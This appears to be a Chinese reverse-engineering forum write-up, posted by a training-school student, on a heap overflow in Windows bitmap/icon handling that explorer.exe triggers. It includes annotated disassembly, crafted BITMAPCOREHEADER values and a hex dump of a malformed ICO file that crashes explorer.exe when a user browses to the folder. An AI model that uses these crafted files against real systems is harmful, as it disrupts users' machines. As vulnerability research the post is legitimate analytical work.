一、程序BUG
77EFB0A3 . 57 push edi
77EFB0A4 . 8D45 D8 lea eax, dword ptr [ebp-28]
77EFB0A7 . 50 push eax
77EFB0A8 . FF75 34 push dword ptr [ebp+34]
77EFB0AB . 56 push esi
77EFB0AC . E8 2FE6FFFF call <pbmiConvertInfo(x,x,x,x)>
77EFB0B1 . 3BC7 cmp eax, edi
77EFB0B3 . 8945 F0 mov dword ptr [ebp-10], eax
77EFB0B6 . 0F84 C7150100 je <loc_77F0C683>
77EFB0BC . 8B75 F0 mov esi, dword ptr [ebp-10]
77EFB0BF . 56 push esi
77EFB0C0 . E8 3AFBFFFF call <cjBitmapBitsSize(x)>
77EFB0C5 . 8945 D4 mov dword ptr [ebp-2C], eax
77EFB0C8 > > 64:A1 1800000>mov eax, dword ptr fs:[18]
77EFB0CE . F645 2C 03 test byte ptr [ebp+2C], 3
77EFB0D2 . 89B8 D0060000 mov dword ptr [eax+6D0], edi
77EFB0D8 . 0F85 46150100 jnz <loc_77F0C624>
程序用pbmiConvertInfo根据参数构造一个 BITMAPINFOHEADER然后通过cjBitmapBitsSize函数获得图片大小。在77EFB0CE 判断图片数据的地址是否与4对齐,如果对齐,就直接显示,如果没有对齐,会跳转到
77F0C624 > > \64:A1 1800000>mov eax, dword ptr fs:[18]
77F0C62A . FF75 D4 push dword ptr [ebp-2C]
77F0C62D . 8B40 30 mov eax, dword ptr [eax+30]
77F0C630 . 57 push edi
77F0C631 . FF70 18 push dword ptr [eax+18]
77F0C634 . FF15 AC11EF77 call dword ptr [<&ntdll.RtlAllocateHeap>] ; ntdll.RtlAllocateHeap
77F0C63A . 3BC7 cmp eax, edi
77F0C63C . 8945 C4 mov dword ptr [ebp-3C], eax
77F0C63F .^ 0F84 99EAFEFF je <loc_77EFB0DE>
77F0C645 . 8B4D D4 mov ecx, dword ptr [ebp-2C]
77F0C648 . 8B75 2C mov esi, dword ptr [ebp+2C]
77F0C64B . 8BD1 mov edx, ecx
77F0C64D . C1E9 02 shr ecx, 2
77F0C650 . 8BF8 mov edi, eax
77F0C652 . F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
77F0C654 . 8BCA mov ecx, edx
77F0C656 . 83E1 03 and ecx, 3
77F0C659 . F3:A4 rep movs byte ptr es:[edi], byte ptr [esi]
77F0C65B . 8B75 F0 mov esi, dword ptr [ebp-10]
77F0C65E . 8945 2C mov dword ptr [ebp+2C], eax
77F0C661 . 33FF xor edi, edi
77F0C663 .^ E9 76EAFEFF jmp <loc_77EFB0DE>
这段代码是根据图片大小申请一个堆空间,然后,复制数据到这个堆里。
由于没有对文件大小进行判断,造成 rep movs dword ptr es:[edi], dword ptr [esi] 语句[esi]访问到非法内存,造成堆溢出。
二、利用方法
构造一个变形的BITMAPINFOHEADER结构。由于有77EFB0CE . F645 2C 03 test byte ptr [ebp+2C], 3 的判断,那么,只要造成数据不是以4字节对齐,才可以执行到内存Copy的代码。仔细分析BMP的数据结构发现,使用OS/2的BMP文件格式,就可以实现:
typedef struct tagBITMAPCOREHEADER {
DWORD bcSize; /* used to get to color table */
WORD bcWidth;
WORD bcHeight;
WORD bcPlanes;
WORD bcBitCount;
} BITMAPCOREHEADER, FAR *LPBITMAPCOREHEADER, *PBITMAPCOREHEADER;
OS/2是使用的BITMAPCOREHEADER结构。我们构造数据:
bcSize=0C
bcWidth=0200
bcHeight=0200
bcPlanes=1
bcBitCount=1 ;正常的ICO是4,这里只有使用1
构造好这个数据后,修改exe 的PE,替换掉ICO数据部分。
三、效果
修改EXE后,来看看效果。进入文件所在的路径,由于explorer.exe的异常处理过滤了0xC0000005 错误,所以,没有任何提示。但是,这时系统会变的很慢,桌面已经无法使用,只有结束explorer.exe进程,然后重新开启才能恢复。
四、其他的运用方法
这里,不止exe 的PE可以造成错误,直接构造一个ico文件也可以达到同样的效果。由于explorer在浏览到ico文件时,会产生缩位图。构造ICO的方法和PE里大同小异。修改一个ICO文件,修改如下:
00000000h: 00 00 01 00 01 00 10 10 10 00 00 00 00 00 28 01
00000010h: 00 00 16 00 00 00 0C 00 00 00 00 20 00 20 01 00
00000020h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
保存后,浏览文件所在的路径时,出现同样的错误。
附件上传修改后的exe和ico文件
科锐学子:沙金
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: